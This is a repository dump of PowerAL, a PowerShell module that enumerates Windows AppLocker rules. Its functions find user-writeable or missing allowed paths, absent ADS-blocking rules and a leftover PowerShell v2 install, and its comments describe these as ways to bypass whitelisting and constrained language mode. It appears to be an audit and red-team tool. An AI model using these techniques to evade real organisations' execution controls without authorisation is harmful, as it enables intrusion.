├── LICENSE ├── Pictures ├── Frontpage.jpg ├── Frontpage.pdn └── high-res-orig.jpg ├── PowerAL.ps1 ├── PowerAL ├── Functions │ ├── Expand-PALPath.ps1 │ ├── Get-PALMissingADSRules.ps1 │ ├── Get-PALMissingAllowedPaths.ps1 │ ├── Get-PALPathStatus.ps1 │ ├── Get-PALPoshV2Installed.ps1 │ ├── Get-PALPublisherStatus.ps1 │ ├── Get-PALRuleSectionStatus.ps1 │ ├── Get-PALRules.ps1 │ ├── Get-PALRulesNative.ps1 │ ├── Get-PALServiceStatus.ps1 │ ├── Get-PALWriteableAllowedPaths.ps1 │ ├── Get-PALWriteablePaths.ps1 │ ├── Invoke-PALAllInfo.ps1 │ ├── Invoke-PALBypassPwn.ps1 │ ├── Invoke-PALCLMTempBypass.ps1 │ ├── Invoke-PALExploitableRules.ps1 │ └── Invoke-PALKnownBypasses.ps1 ├── PowerAL.psd1 └── PowerAL.psm1 └── README.md /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2018, Oddvar Moe 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /Pictures/Frontpage.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/api0cradle/PowerAL/c903fdead4ce2fe127313a76078ce3b484cae3c3/Pictures/Frontpage.jpg -------------------------------------------------------------------------------- /Pictures/Frontpage.pdn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/api0cradle/PowerAL/c903fdead4ce2fe127313a76078ce3b484cae3c3/Pictures/Frontpage.pdn -------------------------------------------------------------------------------- /Pictures/high-res-orig.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/api0cradle/PowerAL/c903fdead4ce2fe127313a76078ce3b484cae3c3/Pictures/high-res-orig.jpg -------------------------------------------------------------------------------- /PowerAL/Functions/Expand-PALPath.ps1: -------------------------------------------------------------------------------- 1 | Function Expand-PALPath 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Converts path that contains AppLocker specific variables into to normal paths. 7 | 8 | Author: @oddvarmoe 9 | License: BSD 3-Clause 10 | Required Dependencies: None 11 | Optional Dependencies: None 12 | 13 | .DESCRIPTION 14 | Takes path as input and normalizes it by changing AppLocker specific parameters into paths. 15 | If variable that is sent into the function resolves to two paths (ex: System32/SysWOW64) the function will return both. 16 | It also resolves paths containing ADS rules such as "%windir%\folder:*". 17 | 18 | .EXAMPLE 19 | 20 | PS C:\> Expand-PALPath -Path "%windir%\temp" 21 | 22 | C:\Windows\temp 23 | 24 | .EXAMPLE 25 | 26 | PS C:\> Expand-PALPath -Path "%programfiles%" 27 | 28 | C:\Program Files 29 | C:\Program Files (x86) 30 | 31 | .EXAMPLE 32 | 33 | PS C:\> Expand-PALPath -Path "*" 34 | 35 | C: 36 | 37 | .EXAMPLE 38 | 39 | PS C:\> Expand-PALPath -Path "%windir%\tasks:*" 40 | 41 | C:\Windows\tasks:* 42 | #> 43 | 44 | # Function Version: 1.00 45 | 46 | [CmdletBinding()] Param ( 47 | [Parameter(ValueFromPipeline)] 48 | [string[]] 49 | $Path 50 | 51 | ) 52 | Process 53 | { 54 | Try 55 | { 56 | $ReturnPaths = @() 57 | 58 | foreach($P in $Path) 59 | { 60 | $Temp = $null 61 | $TempX64 = $null 62 | 63 | if($P -eq "*") 64 | { 65 | $Temp = $P -replace "\*",$env:SystemDrive 66 | } 67 | elseif($P -match "%PROGRAMFILES%") 68 | { 69 | $Temp = $P -replace "%PROGRAMFILES%",$env:ProgramFiles 70 | $TempX64 = $P -replace "%PROGRAMFILES%",${env:ProgramFiles(x86)} 71 | } 72 | elseif($P -match "%windir%") 73 | { 74 | $Temp = $P -replace "%windir%",$env:windir 75 | } 76 | elseif($P -match "%system32%") 77 | { 78 | $Temp = $P -replace "%SYSTEM32%","c:\windows\system32" 79 | $TempX64 = $P -replace "%SYSTEM32%","c:\windows\syswow64" 80 | } 81 | elseif($P -match "%OSDRIVE%") 82 | { 83 | $Temp = $P -replace "%OSDRIVE%",$env:SystemDrive 84 | } 85 | else 86 | { 87 | $Temp = ($P) 88 | } 89 | 90 | if($Temp -match ":\*") 91 | { 92 | } 93 | else 94 | { 95 | $Temp = $Temp.TrimEnd("*") 96 | } 97 | 98 | $ReturnPaths += $Temp 99 | if($TempX64) 100 | { 101 | if($TempX64 -match ":\*") 102 | { 103 | } 104 | else 105 | { 106 | $TempX64 = $TempX64.TrimEnd("*") 107 | } 108 | $ReturnPaths += $TempX64 109 | } 110 | 111 | 112 | } 113 | return $ReturnPaths 114 | } 115 | Catch 116 | { 117 | write-error $_ 118 | } 119 | Finally{} 120 | } 121 | } -------------------------------------------------------------------------------- /PowerAL/Functions/Get-PALMissingADSRules.ps1: -------------------------------------------------------------------------------- 1 | function Get-PALMissingADSRules 2 | { 3 | <# 4 | .SYNOPSIS 5 | Lists out missing ADS blocking rules for userwriteable allowed paths 6 | 7 | Author: @oddvarmoe 8 | License: BSD 3-Clause 9 | Required Dependencies: Get-PALRules, Get-PALWriteablePaths 10 | Optional Dependencies: None 11 | 12 | .DESCRIPTION 13 | 14 | Lists out missing ADS blocking rules for userwriteable allowed paths 15 | 16 | .PARAMETER RuleSection 17 | 18 | What sort of section you want the rules for. Default is "All 19 | Can be "All","Dll","Exe","Script","Appx","Msi". This Parameter is passed to the Get-PALRules. 20 | 21 | .PARAMETER SID 22 | 23 | The SID you want to get the rules for. 24 | Default is S-1-1-0. (Admin rules will not show up default as a consequence of that.) 25 | If you want all you can supply * 26 | List of well-known SIDs can be found here: https://support.microsoft.com/en-au/help/243330/well-known-security-identifiers-in-windows-operating-systems 27 | 28 | .EXAMPLE 29 | 30 | #> 31 | 32 | # Function Version: 0.95 33 | 34 | [CmdletBinding()] Param ( 35 | [ValidateSet("All","Appx","Dll","Exe","Msi","Script")] 36 | [String] 37 | $RuleSection = "All", 38 | 39 | [String] 40 | #S-1-1-0 = Everyone 41 | $SID = "S-1-1-0" 42 | 43 | ) 44 | Process 45 | { 46 | Try 47 | { 48 | 49 | $AllPaths = "C:\" 50 | if(!($WriteablePaths)) 51 | { 52 | Get-PALWriteablepaths -Path $AllPaths -ErrorAction SilentlyContinue 53 | } 54 | 55 | $DenyPathRules = Get-PALRules -OutputRules Path -RuleActions Allow -RuleSection $RuleSection -SID $SID -ExceptionsAsDeny 56 | 57 | 58 | $ADSCompareArray1 = @() 59 | $ADSCompareArray2 = @() 60 | 61 | $PathRuleReturnStatus += $path | select-object @{Name = 'Name'; Expression = {$AllowRule.ParentName}}, @{Name = 'Action'; Expression = {"Deny"}} 62 | 63 | foreach($Section in $DenyPathRules) 64 | { 65 | foreach($CompRule in $Section.RulesList) 66 | { 67 | if($CompRule.RulePath -match "\\\*$" -and $CompRule.RulePath -notmatch "^\\\\") 68 | { 69 | if($($CompRule.path).count -gt 1) 70 | { 71 | foreach($Path in $CompRule.path) 72 | { 73 | $ADSCompareArray1 += $Path | Select-Object @{Name = 'Name'; Expression = {$CompRule.ParentName}}, @{Name = 'Path'; Expression = {$Path -Replace "\\$",":*"}}, @{Name = 'RealPath'; Expression = {$Path -replace "\\$",""}} 74 | } 75 | } 76 | else 77 | { 78 | $ADSCompareArray1 += $CompRule | Select-Object @{Name = 'Name'; Expression = {$CompRule.ParentName}}, @{Name = 'Path'; Expression = {$CompRule.path -Replace "\\$",":*"}}, @{Name = 'RealPath'; Expression = {$CompRule.Path -replace "\\$",""}} 79 | } 80 | } 81 | 82 | if($CompRule.RulePath -match ":\*$") 83 | { 84 | if($($CompRule.path).count -gt 1) 85 | { 86 | foreach($Path in $CompRule.path) 87 | { 88 | $ADSCompareArray2 += $Path | Select-Object @{Name = 'Name'; Expression = {$CompRule.ParentName}}, @{Name = 'Path'; Expression = {$Path -Replace "\\$",":*"}} 89 | } 90 | } 91 | else 92 | { 93 | $ADSCompareArray2 += $CompRule | Select-Object @{Name = 'Name'; Expression = {$CompRule.ParentName}}, @{Name = 'Path'; Expression = {$CompRule.path}} 94 | } 95 | } 96 | } 97 | } 98 | 99 | $TempArray = $ADSCompareArray1 | Where-Object {$_.path -notin $ADSCompareArray2.path} 100 | 101 | $Out = $TempArray | Where-Object {$_.RealPath -in $writeablepaths} 102 | return $Out | Sort-Object -Property path,name -Unique | Sort-Object -Property name | select Name,Path 103 | } 104 | Catch 105 | { 106 | write-error $_ 107 | } 108 | Finally{} 109 | } 110 | } -------------------------------------------------------------------------------- /PowerAL/Functions/Get-PALMissingAllowedPaths.ps1: -------------------------------------------------------------------------------- 1 | function Get-PALMissingAllowedPaths 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Lists paths that are missing on the filesystem that is allowed for execution. 7 | 8 | Author: @oddvarmoe 9 | License: BSD 3-Clause 10 | Required Dependencies: Get-PALWriteablePaths, Get-PALRules 11 | Optional Dependencies: None 12 | 13 | .DESCRIPTION 14 | 15 | Retrieves the path from all the allowed AppLocker path rules and checks if the path is missing or not. 16 | It will list out the paths it cannot find and these paths can likely be exploited if the user can create the folders. 17 | Currently it does not resolve * in paths so it may contain false positives. 18 | Outputs: Name,Path 19 | 20 | .PARAMETER RuleSection 21 | What sort of section you want the rules for. Default is "All 22 | Can be "All","Dll","Exe","Script","Appx","Msi". This Parameter is passed to the Get-PALRules. 23 | 24 | 25 | .EXAMPLE 26 | 27 | PS C:\> Get-PALMissingAllowedPaths 28 | 29 | Name Path 30 | ---- ---- 31 | Exe C:\WINPROG\FARMS\FARM.EXE 32 | Exe C:\USERS\*\APPDATA\LOCAL\CITRIX\SELFSERVICE\PROGRAM FILES\SELFSERVICEPLUGIN.EXE 33 | Exe C:\HOMEMADE\CORE.EXE 34 | Script C:\HOMEMADE\START.BAT 35 | 36 | #> 37 | 38 | # Function Version: 0.80 39 | 40 | [CmdletBinding()] Param ( 41 | [ValidateSet("All","Appx","Dll","Exe","Msi","Script")] 42 | [String] 43 | $RuleSection = "All" 44 | 45 | ) 46 | Process 47 | { 48 | Try 49 | { 50 | $PathArray = @() 51 | $FinaleArray = @() 52 | 53 | $AllAppLockerRules = Get-PALRules -OutputRules Path -RuleActions Allow -RuleSection $RuleSection 54 | 55 | #Loop through each section DLL,EXE++ 56 | foreach($SectionRules in $AllAppLockerRules) 57 | { 58 | # Fresh empty array for each section 59 | $MissingPathsArray = @() 60 | 61 | #Loop through each rule in the section 62 | foreach($Rule in $SectionRules.RulesList) 63 | { 64 | # Expand the AppLocker path variables into real paths 65 | $Paths = Expand-PALPath -Path $Rule.RulePath 66 | foreach($Path in $Paths) 67 | { 68 | 69 | if($Path -match "\.\w{2,4}$") 70 | #File 71 | { 72 | if($path -match "^C:\\") #Only check local paths 73 | { 74 | if(Test-Path -path (Join-Path -Path (($path -split "\\")[0]) -ChildPath (($path -split "\\")[1]))) 75 | { 76 | 77 | if(test-path -Path $path -ErrorAction SilentlyContinue) 78 | { 79 | #all good, nothing todo here 80 | } 81 | else 82 | { 83 | #File not found, exploitable 84 | Write-Verbose "File not found, can be exploited" 85 | $MissingPathsArray += $path 86 | } 87 | 88 | } 89 | else 90 | { 91 | write-verbose "Missing parent folder to $path - Exploit it" 92 | $MissingPathsArray += $path 93 | } 94 | } 95 | } 96 | else 97 | #Folder 98 | { 99 | #Check if folder exists...assume it can be created if it does not exist under C:\ 100 | if($path -match "^C:\\") #Only check local paths 101 | { 102 | if(!(Test-Path -path (Join-Path -Path (($path -split "\\")[0]) -ChildPath (($path -split "\\")[1])))) 103 | { 104 | write-verbose "Allow path rule is pointing to a missing parent folder: $path" 105 | $MissingPathsArray += $Path 106 | } 107 | } 108 | } 109 | } 110 | } 111 | 112 | foreach($MissingPath in $MissingPathsArray) 113 | { 114 | $RuObject = New-Object PSObject 115 | $RuObject | Add-Member NoteProperty Name $SectionRules.Name 116 | $RuObject | Add-Member NoteProperty Path $MissingPath 117 | $PathArray += $RuObject 118 | } 119 | 120 | } 121 | 122 | # Remove deny rules from the PathArray array 123 | $DenyRules = Get-PALRules -OutputRules Path -RuleActions Deny -RuleSection $RuleSection 124 | 125 | # Check if Deny rules are present 126 | if($DenyRules) 127 | { 128 | foreach($PathObj in $PathArray) 129 | { 130 | $Add = $true 131 | # See if Path we are checking has the correct section (DLL,Script). -1 eq not. 132 | if(!($DenyRules.Name.IndexOf($($PathObj.Name))) -eq "-1") 133 | { 134 | foreach($DRP in $DenyRules[($DenyRules.Name.IndexOf($($PathObj.Name)))].ruleslist.path) 135 | { 136 | $diff = $($PathObj.path) 137 | if($(Join-Path -Path $($DRP.ToLower()) -ChildPath $null) -like "$(Join-Path -Path $($diff.ToLower()) -childpath $null)*") 138 | { 139 | #Dont add, because it is a deny rule 140 | $Add = $false 141 | } 142 | } 143 | } 144 | 145 | if($Add) 146 | { 147 | $FinaleArray += $PathObj 148 | } 149 | } 150 | return $FinaleArray 151 | } 152 | else 153 | { 154 | #No deny rules - return patharray instead 155 | if($PathArray) 156 | { 157 | return $PathArray 158 | } 159 | else 160 | { 161 | Write-Verbose "No paths found - returning null" 162 | return $null 163 | } 164 | } 165 | } 166 | Catch 167 | { 168 | write-error $_ 169 | } 170 | Finally{} 171 | } 172 | } -------------------------------------------------------------------------------- /PowerAL/Functions/Get-PALPathStatus.ps1: -------------------------------------------------------------------------------- 1 | function Get-PALPathStatus 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Checks given path/file if it is allowed or denied by the AppLocker rules. 7 | When a folder path is checked it will return allow if the folder path is allowed in either EXE,DLL,MSI,SCRIPT,APPX. 8 | When a file path is checked it will only check the correct section. EX: file.exe is only checked against EXE path rules and will only return deny or allow. 9 | The function does not handle exceptions yet. 10 | 11 | Author: @oddvarmoe 12 | License: BSD 3-Clause 13 | Required Dependencies: Get-PALRules,Get-PALRulesNative 14 | Optional Dependencies: None 15 | 16 | .DESCRIPTION 17 | 18 | Gets all the AppLocker path rules and enumerates if the supplied path or file is allowed or denied. 19 | Returns Allow or Deny. 20 | 21 | .PARAMETER Path 22 | 23 | The Path you want to verify. Can either be a path to a folder or file. 24 | Parameter is mandatory. 25 | 26 | .PARAMETER SID 27 | 28 | The SID you want to get the rules for. 29 | Default is S-1-1-0. (Admin rules will not show up default as a consequence of that.) 30 | If you want all you can supply * 31 | List of well-known SIDs can be found here: https://support.microsoft.com/en-au/help/243330/well-known-security-identifiers-in-windows-operating-systems 32 | 33 | .PARAMETER OfflineXML 34 | 35 | Path to OfflineXML that you have exported. 36 | This makes the function parse that file instead of the current AppLocker policy on the machine this script is running on. 37 | 38 | .EXAMPLE 39 | Tests status of cmd.exe. This is allowed in this example. 40 | 41 | PS C:\> Get-PALPathStatus -Path "C:\windows\system32\cmd.exe" 42 | 43 | Allow 44 | 45 | .EXAMPLE 46 | Tests if c:\blockedpath is blocked or not by the rules. The path is a blocked path in this example. 47 | 48 | PS C:\> Get-PALPathStatus -Path c:\windows\tracing\ 49 | 50 | Name Action 51 | ---- ------ 52 | Exe Deny 53 | Msi Deny 54 | Script Allow 55 | 56 | .EXAMPLE 57 | Test if c:\temp2\evil.exe is allowed or not, tested against an offline XML file. 58 | 59 | PS C:\> Get-PALPathStatus -Path "c:\temp2\evil.exe" -OfflineXML "C:\folder\Export.xml" 60 | 61 | Allow 62 | 63 | .EXAMPLE 64 | Test if c:\block is allowed for administrators. 65 | 66 | PS C:\> Get-PALPathStatus -Path "C:\block" -SID "S-1-5-32-544" 67 | 68 | Deny 69 | 70 | #> 71 | 72 | # Function Version: 0.95 73 | 74 | [CmdletBinding()] Param ( 75 | [Parameter(Mandatory=$true)] 76 | [String] 77 | $Path, 78 | 79 | [String] 80 | #S-1-1-0 = Everyone 81 | $SID = "S-1-1-0", 82 | 83 | [String] 84 | $OfflineXML 85 | ) 86 | Process 87 | { 88 | Try 89 | { 90 | #Check if path or file 91 | #Uses simple check if supplied string ends with ".{2-4chars}" 92 | if($path -match "\.\w{2,4}$" -and $path -notmatch "\.\d{2,4}$") 93 | { 94 | Write-Verbose "Specified file" 95 | $Type = "File" 96 | 97 | #Find type of file relevant to AppLocker 98 | $Executable = @(".exe",".com") 99 | $WinInstaller = @(".msi",".mst",".msp") 100 | $Script = @(".ps1",".bat",".cmd",".vbs",".js") #More types? 101 | $DLL = @(".dll",".ocx") 102 | $Package = @(".appx") 103 | 104 | $FileExtension = ".$($path.Split(".")[1])" 105 | 106 | if($Executable -contains $FileExtension.ToLower()) 107 | { 108 | $FileType = "Exe" 109 | } 110 | elseif($WinInstaller -contains $FileExtension.ToLower()) 111 | { 112 | $FileType = "Msi" 113 | } 114 | elseif($Script -contains $FileExtension.ToLower()) 115 | { 116 | $FileType = "Script" 117 | } 118 | elseif($Dll -contains $FileExtension.ToLower()) 119 | { 120 | $FileType = "Dll" 121 | } 122 | elseif($Package -contains $FileExtension.ToLower()) 123 | { 124 | $FileType = "Appx" 125 | } 126 | else 127 | { 128 | Write-error "Unknown file format specified - quitting" 129 | break 130 | } 131 | } 132 | else 133 | { 134 | Write-Verbose "Specified folder" 135 | $Type = "Folder" 136 | if(!($path.Substring(($path.Length-1)) -eq "\")) 137 | { 138 | $path = Join-Path $Path -ChildPath "" 139 | } 140 | } 141 | 142 | if($OfflineXML) 143 | { 144 | Write-Verbose "Parsing rules from XML" 145 | $PathRules = Get-PALRulesNative -OutputRules Path -RuleActions All -OfflineXML $OfflineXML -SID $sid 146 | } 147 | else 148 | { 149 | $DenyRules = Get-PALRules -OutputRules Path -RuleActions Deny -SID $SID -ExceptionsAsDeny 150 | } 151 | 152 | ## File check 153 | if($Type -eq "File") 154 | { 155 | #First check if path is allowed, then check if it is denied 156 | $AllowRules = Get-PALRules -OutputRules Path -RuleActions Allow -RuleSection $FileType -SID $SID 157 | #$Allowed = $null 158 | foreach($AllowRule in $AllowRules.RulesList) 159 | { 160 | if($path -like "*$($AllowRule.Path)*") 161 | { 162 | $Allowed = $true 163 | break 164 | } 165 | } 166 | 167 | # Path is allowed, now check all deny rules and exceptions if it is denied 168 | if($Allowed) 169 | { 170 | foreach($DenyRule in $($DenyRules | where-object{$_.name -eq $FileType}).RulesList) 171 | { 172 | if($path -like "*$($DenyRule.path)*") 173 | { 174 | return "Deny" 175 | break 176 | } 177 | } 178 | # Not explicit denied - Returing allowed 179 | return "Allow" 180 | } 181 | else 182 | { 183 | return "Deny" 184 | } 185 | } 186 | 187 | ## Folder check 188 | if($Type -eq "Folder") 189 | { 190 | $PathRuleReturnStatus = @() 191 | $AllowRules = Get-PALRules -OutputRules Path -RuleActions Allow -RuleSection All -SID $SID 192 | foreach($Section in $AllowRules) 193 | { 194 | $Denied = $false 195 | $Allowed = $false 196 | 197 | foreach($AllowRule in $Section.RulesList) 198 | { 199 | 200 | # Dont process file paths 201 | if(!($($AllowRule.path) -match "\.\w{2,4}$")) 202 | { 203 | if($Path -like "*$($AllowRule.Path)*") 204 | { 205 | $Allowed = $true 206 | } 207 | } 208 | } 209 | 210 | if($Allowed) 211 | { 212 | foreach($DenyRule in $($DenyRules | where-object{$_.name -eq $($Section.Name)}).RulesList) 213 | { 214 | if($path -like "*$($DenyRule.path)*") 215 | { 216 | $PathRuleReturnStatus += $path | select-object @{Name = 'Name'; Expression = {$AllowRule.ParentName}}, @{Name = 'Action'; Expression = {"Deny"}} 217 | $Denied = $true 218 | break 219 | } 220 | } 221 | # Not explicit denied - Returning allowed 222 | if(!($Denied)) 223 | { 224 | $PathRuleReturnStatus += $path | select-object @{Name = 'Name'; Expression = {$AllowRule.ParentName}}, @{Name = 'Action'; Expression = {"Allow"}} 225 | } 226 | } 227 | else 228 | { 229 | $PathRuleReturnStatus += $path | select-object @{Name = 'Name'; Expression = {$AllowRule.ParentName}}, @{Name = 'Action'; Expression = {"Deny"}} 230 | $Denied = $true 231 | } 232 | } 233 | return $PathRuleReturnStatus 234 | } 235 | } 236 | Catch 237 | { 238 | Write-error $_ 239 | } 240 | Finally{} 241 | } 242 | } -------------------------------------------------------------------------------- /PowerAL/Functions/Get-PALPoshV2Installed.ps1: -------------------------------------------------------------------------------- 1 | function Get-PALPoshV2Installed 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Checks if PowerShell version 2 and .NET Framework 2 is installed or not. Use verbose for details. 7 | 8 | Author: @oddvarmoe 9 | License: BSD 3-Clause 10 | Required Dependencies: None 11 | Optional Dependencies: None 12 | 13 | .DESCRIPTION 14 | 15 | Checks registry for key that indicates that PowerShell version 2 is still installed on system. 16 | If it is present, Powershell can be started with -version 2 to bypass constrained language. 17 | 18 | .EXAMPLE 19 | 20 | PS C:\> Get-PALPoshV2Installed 21 | 22 | True 23 | 24 | #> 25 | 26 | # Function Version: 1.00 27 | 28 | [CmdletBinding()] Param () 29 | Process 30 | { 31 | try 32 | { 33 | if((Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP\v2.0.50727" -ErrorAction SilentlyContinue).install) 34 | { 35 | Write-Verbose ".NET Framework 2 present" 36 | if((Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\PowerShell\1" -ErrorAction SilentlyContinue).install -eq 1) 37 | { 38 | Write-Verbose "Posh v2 present" 39 | return $true 40 | } 41 | else 42 | { 43 | Write-Verbose "Posh v2 missing" 44 | return $false 45 | } 46 | } 47 | else 48 | { 49 | Write-Verbose ".NET Framework 2 missing" 50 | return $false 51 | } 52 | } 53 | catch 54 | { 55 | write-error $_ 56 | } 57 | finally{} 58 | } 59 | } -------------------------------------------------------------------------------- /PowerAL/Functions/Get-PALPublisherStatus.ps1: -------------------------------------------------------------------------------- 1 | function Get-PALPublisherStatus 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Checks given path/file if it is denied by the current defined AppLocker Publisher rules. 7 | 8 | Author: @oddvarmoe 9 | License: BSD 3-Clause 10 | Required Dependencies: Get-PALRules, Get-AppLockerFileInformation 11 | Optional Dependencies: None 12 | 13 | .DESCRIPTION 14 | 15 | Gets all the Denied AppLocker rules and enumerates if the supplied path or file are blocked or not. 16 | Returns true if blocked or false if not blocked. 17 | 18 | .PARAMETER Path 19 | 20 | The Path you want to verify. Can either be a path to a folder or file. 21 | Parameter is mandatory. 22 | 23 | .PARAMETER SID 24 | 25 | The SID you want to check the publisher rules against. 26 | Default is S-1-1-0 (Everyone). (Admin rules will not show up default as a consequence of that.) 27 | If you want all you can supply * 28 | List of well-known SIDs can be found here: https://support.microsoft.com/en-au/help/243330/well-known-security-identifiers-in-windows-operating-systems 29 | 30 | .PARAMETER SignPublisher 31 | 32 | Used to specify the Publisher name. 33 | 34 | .PARAMETER SignProductName 35 | 36 | Used to specify the Product name 37 | 38 | .PARAMETER SignFileName 39 | 40 | Used to specify the File name 41 | 42 | .PARAMETER SignVersion 43 | 44 | Used to specify the version 45 | 46 | .PARAMETER ExtractSignInfo 47 | 48 | Switch used to extract all signature information from the file specified in the path. 49 | 50 | .PARAMETER OfflineXML 51 | 52 | Used to specify the path to the Offline XML of the AppLocker rules. 53 | 54 | 55 | .EXAMPLE 56 | 57 | PS C:\> Get-PALPublisherStatus -Path C:\folder\autoruns.exe -Verbose 58 | VERBOSE: Accessing Binary file to extract signature information 59 | VERBOSE: Publisher: O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US 60 | VERBOSE: Productname: SYSINTERNALS AUTORUNS 61 | VERBOSE: FileName: AUTORUNS.EXE 62 | VERBOSE: Version: 13.82.0.0 63 | VERBOSE: * rule used in Appx - All signed is allowed 64 | VERBOSE: * rule used in Msi - All signed is allowed 65 | Deny 66 | 67 | .EXAMPLE 68 | 69 | PS C:\> Get-PALPublisherStatus -SignPublisher "O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US" -Sign 70 | ProductName "SYSINTERNALS AUTORUNS" -SignFileName "Autoruns.exe" -SignVersion "13.82.0.0" 71 | Deny 72 | 73 | #> 74 | # Function Version: 0.70 75 | [CmdletBinding()] Param ( 76 | [parameter(Mandatory=$true,ParameterSetName="AutoSignInfo")] 77 | [String] 78 | $Path, 79 | 80 | [parameter(Mandatory=$true,ParameterSetName="ManualSignInfo")] 81 | [String] 82 | $SignPublisher, 83 | 84 | [parameter(Mandatory=$true,ParameterSetName="ManualSignInfo")] 85 | [String] 86 | $SignProductName, 87 | 88 | [parameter(Mandatory=$true,ParameterSetName="ManualSignInfo")] 89 | [String] 90 | $SignFileName, 91 | 92 | [parameter(Mandatory=$true,ParameterSetName="ManualSignInfo")] 93 | [String] 94 | $SignVersion, 95 | 96 | [String] 97 | #S-1-1-0 = Everyone 98 | $SID = "S-1-1-0", 99 | 100 | [String] 101 | $OfflineXML 102 | ) 103 | Process 104 | { 105 | Try 106 | { 107 | If($Path) 108 | { 109 | Write-Verbose "Accessing Binary file to extract signature information" 110 | $SignInfo = Get-AppLockerFileInformation -Path $Path -ErrorAction Stop 111 | $SignPublisher = $SignInfo.Publisher.PublisherName 112 | $SignProductName = $SignInfo.Publisher.ProductName 113 | $SignFileName = $SignInfo.Publisher.BinaryName 114 | $SignVersion = $SignInfo.Publisher.BinaryVersion 115 | Write-Verbose "Publisher: $SignPublisher" 116 | Write-Verbose "Productname: $SignProductName" 117 | Write-Verbose "FileName: $SignFileName" 118 | Write-Verbose "Version: $SignVersion" 119 | } 120 | 121 | if($OfflineXML) 122 | { 123 | $PublisherRules = Get-PALRulesNative -OutputRules Publisher -RuleActions All -OfflineXML $OfflineXML 124 | } 125 | else 126 | { 127 | $PublisherRules = Get-PALRules -OutputRules Publisher -RuleActions All 128 | } 129 | 130 | #Find type of file relevant to AppLocker 131 | $Executable = @(".exe",".com") 132 | $WinInstaller = @(".msi",".mst",".msp") 133 | $Script = @(".ps1",".bat",".cmd",".vbs",".js") #More types? 134 | $DLL = @(".dll",".ocx") 135 | $Package = @(".appx") 136 | 137 | #$FileExtension = [System.IO.Path]::GetExtension($SignFileName) 138 | $FileExtension = ".$($SignFileName.Split(".")[1])" 139 | 140 | if($Executable -contains $FileExtension.ToLower()) 141 | { 142 | $FileType = "Exe" 143 | 144 | } 145 | 146 | if($WinInstaller -contains $FileExtension.ToLower()) 147 | { 148 | $FileType = "Msi" 149 | } 150 | 151 | if($Script -contains $FileExtension.ToLower()) 152 | { 153 | $FileType = "Script" 154 | } 155 | 156 | if($Dll -contains $FileExtension.ToLower()) 157 | { 158 | $FileType = "Dll" 159 | } 160 | 161 | if($Package -contains $FileExtension.ToLower()) 162 | { 163 | $FileType = "Appx" 164 | } 165 | 166 | $Status = "" 167 | 168 | if($PublisherRules) 169 | { 170 | $Publishers = @() 171 | $Exceptions = @() 172 | 173 | foreach($Pr in $PublisherRules) 174 | { 175 | $Parent = $Pr.Name 176 | 177 | foreach($P in $Pr.RulesList) 178 | { 179 | if($SID -eq $P.sid) 180 | { 181 | #Create custom object to store data in 182 | $TempPublisherObject = New-Object psobject 183 | 184 | if($P.PublisherExceptions) 185 | { 186 | $TempExceptionObject = New-Object psobject 187 | $TempExceptionObject | Add-Member NoteProperty Type "Publisher" 188 | $TempExceptionObject | Add-Member NoteProperty PublisherName $P.PublisherExceptions.PublisherName 189 | $TempExceptionObject | Add-Member NoteProperty ProductName $P.PublisherExceptions.ProductName 190 | $TempExceptionObject | Add-Member NoteProperty FileName $P.PublisherExceptions.BinaryName 191 | $Exceptions += $TempExceptionObject 192 | } 193 | 194 | ##if($P.PathExceptions) { 195 | ## $TempExceptionObject = New-Object psobject 196 | ## $TempExceptionObject | Add-Member NoteProperty Type "Path" 197 | ## $TempExceptionObject | Add-Member NoteProperty Path $P.PathExceptions.Path 198 | ## $Exceptions += $TempExceptionObject 199 | ##} 200 | ## 201 | ##if($P.HashExceptions) { 202 | ## $TempExceptionObject = New-Object psobject 203 | ## $TempExceptionObject | Add-Member NoteProperty Type "Hash" 204 | ## $TempExceptionObject | Add-Member NoteProperty FileName $P.HashExceptions.SourceFileName 205 | ## $TempExceptionObject | Add-Member NoteProperty FileLength $P.HashExceptions.SourceFileLength 206 | ## $TempExceptionObject | Add-Member NoteProperty Hash $P.HashExceptions.Data 207 | ## $Exceptions += $TempExceptionObject 208 | ##} 209 | 210 | 211 | if($P.PublisherName -eq $SignPublisher -or $P.ProductName -eq $SignProductName -or 